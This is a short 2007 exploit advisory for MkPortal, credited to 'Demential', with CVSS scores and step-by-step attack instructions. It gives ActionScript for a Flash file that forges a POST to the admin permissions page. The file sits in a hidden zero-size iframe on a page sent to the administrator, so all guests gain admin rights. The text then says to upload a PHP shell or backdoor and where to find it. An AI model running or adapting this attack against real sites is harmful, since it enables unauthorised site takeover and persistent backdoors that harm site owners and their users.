MkPortal "All Guests are Admin" Exploit

2007.01.14
Credit: Demential
Risk: Medium
Local: No
Remote: Yes
CWE: N/A


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

MkPortal "All Guests are Admin" Exploit Vulnerability discovered and exploited by: Demential Web: http://headburn.altervista.org E-mail: info[at]burnhead[dot]it Mkportal website: http://www.mkportal.it Start Macromedia Flash and create an swf file with this code: var idg:Number = 9; var p13:Number = 1; var Salva:String = "Save+Permissions"; getURL("http://victim.com/mkportal/admin.php?ind=ad_perms&op=save_main", "_self", "POST"); Translate "Save+Permissions" in MKPortal language. Example: "Salva+questi+permessi" for italian sites. Then upload the swf file to a webserver and create an html page like this: <html> <head> <title>Put a title here</title> </head> <body> <p>Put some text here<p> <iframe src="http://yoursite.com/exploit.swf" frameborder="0" height="0" width="0"></iframe> </body> </html> Now send the html page to MKPortal administrator. When admin opens the page all guests will be able to administrate MKPortal. So you can go here: http://victim.com/mkportal/admin.php?ind=ad_contents&op=contents_new_php and paste a php shell or a backdoor. You can find your shell here: http://victim.com/mkportal/cache/ppage_*.php where * is the ID of the page. Translate "page" in MKPortal language. Example: "pagina" for italian sites.


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